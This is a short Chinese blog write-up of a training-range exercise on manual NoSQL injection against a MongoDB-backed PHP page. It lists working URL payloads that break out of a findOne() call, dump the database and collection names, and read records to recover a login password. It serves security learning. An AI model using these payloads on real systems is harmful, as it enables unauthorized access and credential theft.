SQL手工注入MongoDB資料庫
阿新 • • 發佈:2022-01-25
MongoDB語法跟其它資料庫有所區別
具體參考:https://www.runoob.com/mongodb/mongodb-query.html
環境
墨者靶場 SQL手工注入漏洞測試(MongoDB資料庫)
思路
題目程式碼給出了列名
如果語句這樣寫/new_list.php?id=1 order by 2
程式碼接收db.notice.findOne({'id':'1 order by 2'}); return data; 並沒有閉合,注入語句無法生效
想辦法閉合語句,檢視所有集合
注入語句
都是內建函式,注入語句改列名就行
構造簡單的連結測回顯:/new_list.php?id=1'}); return ({title:1,content:'2
爆庫: /new_list.php?id=1'}); return ({title:tojson(db),content:'1
爆表:/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1
db.getCollectionNames()返回的是陣列,需要用tojson轉換為字串,並且mongodb函式區分大小寫
爆欄位:/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
db.Authority_confidential是當前用的表,find函式用於查詢,0是第一條資料,墨者第二條資料才是登入密碼,故而把find()[0]改為find()[1]